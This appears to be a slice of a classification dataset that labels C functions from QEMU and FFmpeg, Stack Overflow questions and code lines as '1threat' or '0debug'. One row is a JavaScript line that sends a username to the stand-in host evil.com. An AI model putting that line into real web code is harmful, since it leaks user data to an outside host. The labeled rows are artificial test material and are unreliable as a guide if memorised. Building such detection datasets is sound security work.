gen_code_size = dyngen_code(gen_code_buf, tb->tb_next_offset,
#ifdef USE_DIRECT_JUMP
tb->tb_jmp_offset,
#else
NULL,
#endif
gen_opc_buf, gen_opparam_buf, gen_labels);
*gen_code_size_ptr = gen_code_size;
#ifdef DEBUG_DISAS
if (loglevel & CPU_LOG_TB_OUT_ASM) {
fprintf(logfile, "OUT: [size=%d]\n", *gen_code_size_ptr);
disas(logfile, tb->tc_ptr, *gen_code_size_ptr);
fprintf(logfile, "\n");
fflush(logfile);
}
#endif
return 0;
}
| 1threat |
void sws_freeContext(SwsContext *c)
{
int i;
if (!c) return;
if (c->lumPixBuf) {
for (i=0; i<c->vLumBufSize; i++)
av_freep(&c->lumPixBuf[i]);
av_freep(&c->lumPixBuf);
}
if (c->chrPixBuf) {
for (i=0; i<c->vChrBufSize; i++)
av_freep(&c->chrPixBuf[i]);
av_freep(&c->chrPixBuf);
}
if (CONFIG_SWSCALE_ALPHA && c->alpPixBuf) {
for (i=0; i<c->vLumBufSize; i++)
av_freep(&c->alpPixBuf[i]);
av_freep(&c->alpPixBuf);
}
av_freep(&c->vLumFilter);
av_freep(&c->vChrFilter);
av_freep(&c->hLumFilter);
av_freep(&c->hChrFilter);
#if ARCH_PPC && HAVE_ALTIVEC
av_freep(&c->vYCoeffsBank);
av_freep(&c->vCCoeffsBank);
#endif
av_freep(&c->vLumFilterPos);
av_freep(&c->vChrFilterPos);
av_freep(&c->hLumFilterPos);
av_freep(&c->hChrFilterPos);
#if ARCH_X86 && CONFIG_GPL
#ifdef MAP_ANONYMOUS
if (c->lumMmx2FilterCode) munmap(c->lumMmx2FilterCode, c->lumMmx2FilterCodeSize);
if (c->chrMmx2FilterCode) munmap(c->chrMmx2FilterCode, c->chrMmx2FilterCodeSize);
#elif HAVE_VIRTUALALLOC
if (c->lumMmx2FilterCode) VirtualFree(c->lumMmx2FilterCode, 0, MEM_RELEASE);
if (c->chrMmx2FilterCode) VirtualFree(c->chrMmx2FilterCode, 0, MEM_RELEASE);
#else
av_free(c->lumMmx2FilterCode);
av_free(c->chrMmx2FilterCode);
#endif
c->lumMmx2FilterCode=NULL;
c->chrMmx2FilterCode=NULL;
#endif
av_freep(&c->yuvTable);
av_free(c);
}
| 1threat |
Image url convert to transparent background in android studio : i am getting image url from Json, I set it in imageView by using the picasso library. Here i am facing one problem the image i am getting from json on form of URL in not with transparent background ,, so how to make it transparent and then set it to imageview? | 0debug |
Match string format with regex : <p>I know there are tons of questions about regex string format, but I am very new to this and I haven't been able to do it myself. How can I use regex to match a string with the following format?</p>
<p><code>xx_x_a.zip</code></p>
<p>where x is a number and a is a letter. Example:</p>
<p><code>33_2_f.zip</code></p>
<p>It must not match:</p>
<p><code>33_2_f_abc.zip</code></p>
<p>The format must always be like <code>2digits</code>+<code>_</code>+<code>1digit</code>+<code>_</code>+<code>1letter</code>+<code>.zip</code></p>
| 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static int decode_mime_header(AMRWBContext *ctx, const uint8_t *buf)
{
ctx->fr_cur_mode = buf[0] >> 3 & 0x0F;
ctx->fr_quality = (buf[0] & 0x4) != 0x4;
return 1;
}
| 1threat |
C# WPF listbox with checkboxes - code seeing every item IsChecked = true : I have a WPF Listbox which contains a list of checkboxes which are all named as the names of other controls in another window.
When the listbox is looped by grabbing each item in lst_control.Items:
foreach(Control item in lst_controls.Items)
{
if (item.IsChecked)
//Add item to list
}
It sees each item.IsChecked as true - even if it is unchecked?
Weird behaviour - has anyone seen this before?
Thanks :-)
| 0debug |
ResultSet.next two time will find the result is blank : Why i can't while for two time.the second time I will get blank.
[enter image description here][1]String sql = "select * from t_user";
Connection con = dbUtil.getCon();
Statement statement = con.createStatement();
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
System.out.println("phoneFirst" + rs.getString("phone"));
}
while (rs.next()) {
System.out.println("phoneSecond" + rs.getString("phone"));
}
[1]: https://i.stack.imgur.com/ulcVn.png | 0debug |
java.nio.file.FileAlreadyExistsException : i am attempting to copy one file to another location using java nio api. When i run below code i get java.nio.file.FileAlreadyExistsException.
public static void copyFileUsingNio(File sourceFile, String destnationFilePath) {
try {
if (sourceFile != null && destnationFilePath != null) {
java.nio.file.Path sourcePath = sourceFile.toPath();
java.nio.file.Path destinationPath = java.nio.file.Paths.get(destnationFilePath);
if (!java.nio.file.Files.exists(destinationPath)) {
java.nio.file.Path parent = destinationPath.getParent();
if (parent != null) {
java.nio.file.Files.createDirectories(destinationPath.getParent());
java.nio.file.Files.createFile(destinationPath);
}
destinationPath = java.nio.file.Files.copy(sourcePath, destinationPath, java.nio.file.StandardCopyOption.REPLACE_EXISTING);
} else {
destinationPath = java.nio.file.Files.copy(sourcePath, destinationPath, java.nio.file.StandardCopyOption.REPLACE_EXISTING);
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
Here destnationFilePath is **C:/Users/guest/Desktop/Files/desttest.txt**. Also if file already exists then i need to replace it else copy the file.
Please advice me. | 0debug |
Choosing data structure : <p>I'm coding in some little cricket game. In cricket 11 players there in each team so I need to store their personal score and balls played.</p>
<p>So which data structure is useful to store batesmen name along with personal score and balls played.
Ex:
Virat . RunsScored = 34
Vir at. Ballsplayed = 15</p>
| 0debug |
Better replacement for Comma (,) in filename : <p>I am looking for a more convenient way to name my python scripts.
At the moment they look similar to this:</p>
<p><code>a1_testing_A,B,C.py</code></p>
<p><code>a2_testing_A,B_and_C,X.py</code></p>
<p>I want to rename them, such that the names look prettier while the replacement should cause no trouble with the interpreter (e.g. "blank space" or "/" is inconvenient).
Is there a convention how to do that?
I would be grateful for suggestions.</p>
| 0debug |
static void vb_decode_palette(VBDecContext *c)
{
int start, size, i;
start = bytestream_get_byte(&c->stream);
size = (bytestream_get_byte(&c->stream) - 1) & 0xFF;
if(start + size > 255){
av_log(c->avctx, AV_LOG_ERROR, "Palette change runs beyond entry 256\n");
return;
}
for(i = start; i <= start + size; i++)
c->pal[i] = bytestream_get_be24(&c->stream);
}
| 1threat |
C# overload and override method : <p>I have a class that extends another class and I would like to override and overload a method the same way it is done in a constructor.</p>
<p>Something like this (This is just to illustrate what I want):</p>
<pre><code>public class A {
someMethod(int i){
//Do something
}
}
public class B : A {
someMethod(int i, int j) : base(i){
//Do something more
}
}
</code></pre>
<p>How can I reproduce something like that ?</p>
| 0debug |
How to add a custom repository to gradle build file? : <p>I want to switch from maven to gradle.</p>
<p>In the pom.xml file I have a custom repository:</p>
<pre><code> <repositories>
<repository>
<id>my_rep_name</id>
<url>http://*********</url>
</repository>
</repositories>
</code></pre>
<p>It's a simple http web server with .jar files.</p>
<p>How can I add this custom repo to the build.gradle?</p>
<p>I tried this code, but it does not work:</p>
<pre><code>repositories {
mavenCentral()
maven {
url 'http://******'
}
}
</code></pre>
<p>My custom repo is not a maven repo, but I did not find another examples in the Gradle documentation where I can specify the URL.</p>
| 0debug |
Get request to Google Search : <p>I'm trying to get HTML with search results from Google. With sending GET request for example to:</p>
<pre><code>https://www.google.ru/?q=1111
</code></pre>
<p>But if in browser all is ok, when I'm trying to use it with curl or to get source with "View source" in Google, there is only some Javascript code, no search result. Is that some type of protection? What can I do?</p>
| 0debug |
What is wrong with this Dart error handler? : <p>I'm doing some (I thought) basic exception handling in dart / flutter. I'm using the latest versions of dart and flutter as of last week (3/15/2019).</p>
<p>Here's my code: </p>
<pre><code>void MyMethod() {
Storage.getFilePaths().then((paths) {
//do something
}).catchError((Exception error) {
//do something else
return null;
});
}
</code></pre>
<p>However, when running the program and when an exception occurs I get this message below and can't see what the problem is?</p>
<blockquote>
<p>'Invalid argument (onError): Error handler must accept one Object or
one Object and a StackTrace as arguments, and return a a valid
result: Closure: (Exception) => Null'</p>
</blockquote>
<p>I assume I'm missing something silly, and would love to learn what that is. </p>
| 0debug |
Email validation has odd bug : Ok, so I needed an email validator with Javascript. So, I used the code from this [StackOverflow answer][1]. The problem involves putting a space *after* your email address. If I enter `example@gmail.com`, nothing wrong happens. If I enter `example@gmail.com `, notice the added space at the end, the email address is proved invalid. People make mistakes and an added space shouldn't deem an email address invalid. How do I fix this...
<!-- begin snippet: js hide: false console: true -->
<!-- language: lang-js -->
function validateEmail(email) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(email);
}
function validate() {
$("#result").text("");
var email = $("#email").val();
if (validateEmail(email)) {
$("#result").text(email + " is valid :)");
$("#result").css("color", "green");
} else {
$("#result").text(email + " is not valid :(");
$("#result").css("color", "red");
}
return false;
}
$("form").bind("submit", validate);
<!-- language: lang-html -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<form>
<p>Enter an email address:</p>
<input id='email'>
<button type='submit' id='validate'>Validate!</button>
</form>
<h2 id='result'></h2>
<!-- end snippet -->
[1]: http://stackoverflow.com/a/46181/6540373 | 0debug |
static void acpi_get_pci_holes(Range *hole, Range *hole64)
{
Object *pci_host;
pci_host = acpi_get_i386_pci_host();
g_assert(pci_host);
hole->begin = object_property_get_int(pci_host,
PCI_HOST_PROP_PCI_HOLE_START,
NULL);
hole->end = object_property_get_int(pci_host,
PCI_HOST_PROP_PCI_HOLE_END,
NULL);
hole64->begin = object_property_get_int(pci_host,
PCI_HOST_PROP_PCI_HOLE64_START,
NULL);
hole64->end = object_property_get_int(pci_host,
PCI_HOST_PROP_PCI_HOLE64_END,
NULL);
}
| 1threat |
Angular 5 Service Worker not working : <p>I try to add service worker to my project after updating to angular 5 and have some problems. I add imports to app.module.ts: </p>
<pre><code>import {ServiceWorkerModule} from '@angular/service-worker';
import {environment} from '../environments/environment';
...
environment.production ? ServiceWorkerModule.register('/ngsw-worker.js') : [],
</code></pre>
<p>execute <code>$ ng set apps.0.serviceWorker=true</code> to allow service workers in project</p>
<p>generate config: </p>
<pre><code>{
"index": "/index.html",
"assetGroups": [
{
"name": "app",
"installMode": "prefetch",
"resources": {
"files": [
"/index.html"
],
"versionedFiles": [
"/*.bundle.css",
"/*.bundle.js",
"/*.chunk.js"
]
}
},
{
"name": "assets",
"installMode": "lazy",
"updateMode": "prefetch",
"resources": {
"files": [
"/assets/**"
]
}
}
],
"dataGroups": [
{
"name": "api-performance",
"urls": [
"/",
"/main",
"/login",
"/select-content"
],
"cacheConfig": {
"strategy": "performance",
"maxSize": 100,
"maxAge": "3d"
}
}
]
}
</code></pre>
<p>And manifest: </p>
<pre><code>{
"name": "App",
"short_name": "App",
"start_url": "/login",
"theme_color": "#00a2e8",
"background_color": "#00a2e8",
"display": "standalone",
"icons": [
{
"src": "assets\/icons\/android-icon-36x36.png",
"sizes": "36x36",
"type": "image\/png",
"density": "0.75"
},
{
"src": "assets\/icons\/android-icon-48x48.png",
"sizes": "48x48",
"type": "image\/png",
"density": "1.0"
},
{
"src": "assets\/icons\/android-icon-72x72.png",
"sizes": "72x72",
"type": "image\/png",
"density": "1.5"
},
{
"src": "assets\/icons\/android-icon-96x96.png",
"sizes": "96x96",
"type": "image\/png",
"density": "2.0"
},
{
"src": "assets\/icons\/android-icon-144x144.png",
"sizes": "144x144",
"type": "image\/png",
"density": "3.0"
},
{
"src": "assets\/icons\/android-icon-192x192.png",
"sizes": "192x192",
"type": "image\/png",
"density": "4.0"
}
]
}
</code></pre>
<p>Then build it in production: </p>
<pre><code>ng build --prod --aot=false --build-optimizer=false
</code></pre>
<p>Http-server run in SSL mode, but lsit of service workers in chrome dev-tools is clear. What's wrong? May be this flags broke it --aot=false --build-optimizer=false?</p>
| 0debug |
static void complete_pdu(V9fsState *s, V9fsPDU *pdu, ssize_t len)
{
int8_t id = pdu->id + 1;
if (len < 0) {
int err = -len;
len = 7;
if (s->proto_version != V9FS_PROTO_2000L) {
V9fsString str;
str.data = strerror(err);
str.size = strlen(str.data);
len += pdu_marshal(pdu, len, "s", &str);
id = P9_RERROR;
}
len += pdu_marshal(pdu, len, "d", err);
if (s->proto_version == V9FS_PROTO_2000L) {
id = P9_RLERROR;
}
}
pdu_marshal(pdu, 0, "dbw", (int32_t)len, id, pdu->tag);
pdu->size = len;
pdu->id = id;
virtqueue_push(s->vq, &pdu->elem, len);
virtio_notify(&s->vdev, s->vq);
qemu_co_queue_next(&pdu->complete);
free_pdu(s, pdu);
} | 1threat |
static void gen_exception(DisasContext *s, int trapno, target_ulong cur_eip)
{
gen_update_cc_op(s);
gen_jmp_im(cur_eip);
gen_helper_raise_exception(cpu_env, tcg_const_i32(trapno));
s->is_jmp = DISAS_TB_JUMP;
}
| 1threat |
av_cold void ff_idctdsp_init(IDCTDSPContext *c, AVCodecContext *avctx)
{
const unsigned high_bit_depth = avctx->bits_per_raw_sample > 8;
if (avctx->lowres==1) {
c->idct_put = ff_jref_idct4_put;
c->idct_add = ff_jref_idct4_add;
c->idct = ff_j_rev_dct4;
c->perm_type = FF_IDCT_PERM_NONE;
} else if (avctx->lowres==2) {
c->idct_put = ff_jref_idct2_put;
c->idct_add = ff_jref_idct2_add;
c->idct = ff_j_rev_dct2;
c->perm_type = FF_IDCT_PERM_NONE;
} else if (avctx->lowres==3) {
c->idct_put = ff_jref_idct1_put;
c->idct_add = ff_jref_idct1_add;
c->idct = ff_j_rev_dct1;
c->perm_type = FF_IDCT_PERM_NONE;
} else {
if (avctx->bits_per_raw_sample == 10) {
c->idct_put = ff_simple_idct_put_10;
c->idct_add = ff_simple_idct_add_10;
c->idct = ff_simple_idct_10;
c->perm_type = FF_IDCT_PERM_NONE;
} else if (avctx->bits_per_raw_sample == 12) {
c->idct_put = ff_simple_idct_put_12;
c->idct_add = ff_simple_idct_add_12;
c->idct = ff_simple_idct_12;
c->perm_type = FF_IDCT_PERM_NONE;
} else {
if (avctx->idct_algo == FF_IDCT_INT) {
c->idct_put = ff_jref_idct_put;
c->idct_add = ff_jref_idct_add;
c->idct = ff_j_rev_dct;
c->perm_type = FF_IDCT_PERM_LIBMPEG2;
} else if (avctx->idct_algo == FF_IDCT_FAAN) {
c->idct_put = ff_faanidct_put;
c->idct_add = ff_faanidct_add;
c->idct = ff_faanidct;
c->perm_type = FF_IDCT_PERM_NONE;
} else {
c->idct_put = ff_simple_idct_put_8;
c->idct_add = ff_simple_idct_add_8;
c->idct = ff_simple_idct_8;
c->perm_type = FF_IDCT_PERM_NONE;
}
}
}
c->put_pixels_clamped = put_pixels_clamped_c;
c->put_signed_pixels_clamped = put_signed_pixels_clamped_c;
c->add_pixels_clamped = add_pixels_clamped_c;
ff_put_pixels_clamped = c->put_pixels_clamped;
ff_add_pixels_clamped = c->add_pixels_clamped;
if (CONFIG_MPEG4_DECODER && avctx->idct_algo == FF_IDCT_XVID)
ff_xvid_idct_init(c, avctx);
if (ARCH_ALPHA)
ff_idctdsp_init_alpha(c, avctx, high_bit_depth);
if (ARCH_ARM)
ff_idctdsp_init_arm(c, avctx, high_bit_depth);
if (ARCH_PPC)
ff_idctdsp_init_ppc(c, avctx, high_bit_depth);
if (ARCH_X86)
ff_idctdsp_init_x86(c, avctx, high_bit_depth);
ff_init_scantable_permutation(c->idct_permutation,
c->perm_type);
}
| 1threat |
Why does creating contact forms require a password? : <p>So Im looking at having a contact form on my website where a person can type a message and send it, with the mesage going to my inbox.</p>
<p>But every time I see them online Ill see this:</p>
<pre><code> System.Net.NetworkCredential("yourEmail@gmail.com", "YourPassword");
</code></pre>
<p>Why do I need to provide my password? When you send someone a regular email, you dont need THEIR password. </p>
<p>I also have security concerns. Ok, it's in a .cs file, but still, I dont like seeing my password in plain text there.</p>
<p>Also, what about if its for a big company? Does ebay have their password in plain text? It's something I doubt. How do other people do it?</p>
| 0debug |
Can i use multple onsubmit events on mupliple forms in one page : <p>I have 2 forms in one page and i need to call one function in js when i submit my forms. Can i use 2 onsubmit events in the same page? It not works in my code project.
For example:</p>
<pre><code> <form id="form1" role="form" method="POST" action="script1.php" onsubmit="return validateAccess()">
.....
</form>
<form id="form2" role="form" method="POST" action="script2.php" onsubmit="return validateLogin()">
.....
</form>
</code></pre>
| 0debug |
POWERPC_FAMILY(POWER8)(ObjectClass *oc, void *data)
{
DeviceClass *dc = DEVICE_CLASS(oc);
PowerPCCPUClass *pcc = POWERPC_CPU_CLASS(oc);
dc->fw_name = "PowerPC,POWER8";
dc->desc = "POWER8";
dc->props = powerpc_servercpu_properties;
pcc->pvr_match = ppc_pvr_match_power8;
pcc->pcr_mask = PCR_COMPAT_2_05 | PCR_COMPAT_2_06;
pcc->init_proc = init_proc_POWER8;
pcc->check_pow = check_pow_nocheck;
pcc->insns_flags = PPC_INSNS_BASE | PPC_ISEL | PPC_STRING | PPC_MFTB |
PPC_FLOAT | PPC_FLOAT_FSEL | PPC_FLOAT_FRES |
PPC_FLOAT_FSQRT | PPC_FLOAT_FRSQRTE |
PPC_FLOAT_FRSQRTES |
PPC_FLOAT_STFIWX |
PPC_FLOAT_EXT |
PPC_CACHE | PPC_CACHE_ICBI | PPC_CACHE_DCBZ |
PPC_MEM_SYNC | PPC_MEM_EIEIO |
PPC_MEM_TLBIE | PPC_MEM_TLBSYNC |
PPC_64B | PPC_64H | PPC_64BX | PPC_ALTIVEC |
PPC_SEGMENT_64B | PPC_SLBI |
PPC_POPCNTB | PPC_POPCNTWD;
pcc->insns_flags2 = PPC2_VSX | PPC2_VSX207 | PPC2_DFP | PPC2_DBRX |
PPC2_PERM_ISA206 | PPC2_DIVE_ISA206 |
PPC2_ATOMIC_ISA206 | PPC2_FP_CVT_ISA206 |
PPC2_FP_TST_ISA206 | PPC2_BCTAR_ISA207 |
PPC2_LSQ_ISA207 | PPC2_ALTIVEC_207 |
PPC2_ISA205 | PPC2_ISA207S | PPC2_FP_CVT_S64 |
PPC2_TM;
pcc->msr_mask = (1ull << MSR_SF) |
(1ull << MSR_SHV) |
(1ull << MSR_TM) |
(1ull << MSR_VR) |
(1ull << MSR_VSX) |
(1ull << MSR_EE) |
(1ull << MSR_PR) |
(1ull << MSR_FP) |
(1ull << MSR_ME) |
(1ull << MSR_FE0) |
(1ull << MSR_SE) |
(1ull << MSR_DE) |
(1ull << MSR_FE1) |
(1ull << MSR_IR) |
(1ull << MSR_DR) |
(1ull << MSR_PMM) |
(1ull << MSR_RI) |
(1ull << MSR_LE);
pcc->mmu_model = POWERPC_MMU_2_07;
#if defined(CONFIG_SOFTMMU)
pcc->handle_mmu_fault = ppc_hash64_handle_mmu_fault;
pcc->sps = &POWER7_POWER8_sps;
#endif
pcc->excp_model = POWERPC_EXCP_POWER8;
pcc->bus_model = PPC_FLAGS_INPUT_POWER7;
pcc->bfd_mach = bfd_mach_ppc64;
pcc->flags = POWERPC_FLAG_VRE | POWERPC_FLAG_SE |
POWERPC_FLAG_BE | POWERPC_FLAG_PMM |
POWERPC_FLAG_BUS_CLK | POWERPC_FLAG_CFAR |
POWERPC_FLAG_VSX | POWERPC_FLAG_TM;
pcc->l1_dcache_size = 0x8000;
pcc->l1_icache_size = 0x8000;
pcc->interrupts_big_endian = ppc_cpu_interrupts_big_endian_lpcr;
}
| 1threat |
Javascript doesn't update form select with option : I have a small problem, I have 4 separate drop downs, I want to add an option to the drop down using javascript, on my working code (php constructs the dropdowns initially with value from MySQL) question_type and question_subtype work, however option_type option_subtype do not.
However, it works fine on jsfiddle. https://jsfiddle.net/aeqsdzpk/2/
There are no errors when I look at the console.
Two are working just fine,
<select name="question_type" id="question_type">
<option value="1">1</option>
<option value="2">2 </option>
<option value="3">3</option>
<option value="4">4</option>
</select>
<select name="question_subtype" id="question_subtype">
<option value="A">A</option>
<option value="B">B </option>
<option value="C">C</option>
<option value="D">D</option>
</select>
<select name="option_type[]" id="option_type">
<option value="opt-1">opt1</option>
<option value="opt-2">opt2 </option>
<option value="opt-3">opt3</option>
<option value="opt-4">opt4</option>
</select>
<select name="option_subtype[]" id="option_subtype">
<option value="optA">optA</option>
<option value="optB">optB </option>
<option value="optC">optC</option>
<option value="optD">optD</option>
</select>
The Javascript I'm using is here:
function addOption()
{
var opt = document.getElementById('options').value,
new_option = document.getElementById('new_option').value,
option = document.createElement("option"),
x = document.getElementById(opt);
alert(opt);
option.text = new_option;
x.add(option);
document.getElementById('options').style.display='none';
document.getElementById('new_option').value='';
}
| 0debug |
static inline void gen_efsabs(DisasContext *ctx)
{
if (unlikely(!ctx->spe_enabled)) {
gen_exception(ctx, POWERPC_EXCP_APU);
return;
}
tcg_gen_andi_tl(cpu_gpr[rD(ctx->opcode)], cpu_gpr[rA(ctx->opcode)], (target_long)~0x80000000LL);
}
| 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.